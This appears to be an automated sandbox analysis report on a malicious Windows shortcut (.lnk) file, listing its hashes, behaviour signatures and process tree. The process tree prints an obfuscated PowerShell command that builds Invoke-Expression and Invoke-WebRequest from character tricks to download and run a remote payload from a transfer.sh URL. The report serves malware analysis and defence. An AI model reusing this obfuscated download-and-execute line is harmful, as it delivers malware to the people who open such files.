Analysis

  • max time kernel
    30s
  • max time network
    34s
  • platform
    windows7_x64
  • resource
    win7-20230705-en
  • resource tags

    arch:x64arch:x86image:win7-20230705-enlocale:en-usos:windows7-x64system
  • submitted
    06-07-2023 01:50

General

  • Target

    75c4cc9c8303c2919aee6e42b8a067e9f46522913cf5755dc66a29c0c5f4a1e6.lnk

  • Size

    1KB

  • MD5

    88cda338f875b4e478ca353b9b7f1d09

  • SHA1

    c79f03518ac3e57e947e5dc07c1e99c76c67b4f8

  • SHA256

    75c4cc9c8303c2919aee6e42b8a067e9f46522913cf5755dc66a29c0c5f4a1e6

  • SHA512

    e3fff3083fbc1b27601183de25f0a7b94b8feae2a955e1ddcb15f67e5dd80120210663feb66b8e1dcc962991bd54541fd078b8365d453742cd3c6ec8775b93f1

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\75c4cc9c8303c2919aee6e42b8a067e9f46522913cf5755dc66a29c0c5f4a1e6.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${.*} = $PSHOME[+22 -24 +2] + $PSHOME[-12 +3] + 'a' + $PSHOME[-66 +55];${g^4} = $([TYPE]${.*});${.**} = ${g^4}::ToString(+79 -1 -5);${.**..} = ${g^4}::ToString(+79 -1 -5 -4);${..***} = ${g^4}::ToString(+79 +30 -10 +21);&(${.**} +${.**..} + ${..***})(&(${.**} +${.**..} + ${..***})($PSHOME[+52 -53 +1]+'u'+$PSHOME[-66 +55]+$PSHOME[-61 +55]+' https://transfer.sh/get/FRcrqrPgy2/fa3333.txt -UseBasicParsing')).Content
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2760

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/2760-92-0x00000000024D0000-0x0000000002550000-memory.dmp

    Filesize

    512KB

  • memory/2760-93-0x000000001B300000-0x000000001B5E2000-memory.dmp

    Filesize

    2.9MB

  • memory/2760-94-0x00000000024D0000-0x0000000002550000-memory.dmp

    Filesize

    512KB

  • memory/2760-95-0x0000000002280000-0x0000000002288000-memory.dmp

    Filesize

    32KB

  • memory/2760-96-0x00000000024D4000-0x00000000024D7000-memory.dmp

    Filesize

    12KB

  • memory/2760-97-0x00000000024DB000-0x0000000002512000-memory.dmp

    Filesize

    220KB